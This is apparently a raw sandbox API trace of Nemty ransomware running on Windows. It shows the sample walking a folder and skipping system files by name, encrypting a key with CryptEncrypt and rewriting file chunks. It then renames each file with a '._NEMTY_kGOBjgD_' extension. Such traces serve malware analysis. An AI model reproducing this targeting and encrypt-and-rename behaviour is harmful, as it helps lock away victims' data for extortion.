HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.851] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0056.851] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2=".") returned 1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="..") returned 1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="...") returned 1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="windows") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="rsa") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="ntldr") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="IO.SYS") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="boot.ini") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="boot.ini") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="ntuser.dat") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="desktop.ini") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="CONFIG.SYS") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="RECYCLER") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="BOOTSECT.BAK") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="bootmgr") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="programdata") returned -1 [0056.852] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="appdata") returned 1 [0056.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0056.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_RGB6_PAL.wmv", lpUsedDefaultChar=0x0) returned 27 [0056.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0056.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0056.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_RGB6_PAL.wmv", lpUsedDefaultChar=0x0) returned 27 [0056.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0056.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0056.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_RGB6_PAL.wmv", lpUsedDefaultChar=0x0) returned 27 [0056.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0056.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_RGB6_PAL.wmv", lpUsedDefaultChar=0x0) returned 27 [0056.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0056.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0056.853] Sleep (dwMilliseconds=0x5) [0056.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd589b890, dwHighDateTime=0x1d561e7)) [0056.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd589b890, dwHighDateTime=0x1d561e7)) [0056.860] GetLastError () returned 0x5 [0056.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.860] GetLastError () returned 0x5 [0056.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.860] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.860] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.860] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0056.860] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="VtzOl8B5kc1seA9qv70zbX125zPNbvLdcilwlDUetSrkY95LZWqzAjXjK8475QpV\r\n5xIfRpLvKjUXLdf7hWz9UZCxWsIEeCI/kIT2REjaFs7gClIfIwmsjft5X5xHc46q\r\n5Klfknhg9GSrXqv4KiSo1WZYysWrI1iz0/pKRjwBvbqtAy84lMcWniwjUHwzEMBD\r\nyqZT8oyXu685+s1s1yVPoBNVoLE5/muakSQSDiikim1KyqkMdqP2dVsXWYGcRrsU\r\nyZK8/6ibUtcmzx/Ei2GlDaSZY6guXgBiMQ5ksvg6iZw9NjxufEqkIlscf43lHRax\r\ncY8kQpWB89sVn7/gJGSEmg==\r\n", pcchString=0x653e91c) returned 1 [0056.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0056.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0056.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0056.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0056.861] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.861] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0056.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.908] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.967] CloseHandle (hObject=0xffffffff) returned 0 [0056.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0056.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0056.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.967] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv._nemty_kgobjgd_")) returned 0 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.968] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2=".") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="..") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="...") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="windows") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="$RECYCLE.BIN") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="rsa") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="NTDETECT.COM") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntldr") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="MSDOS.SYS") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="IO.SYS") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 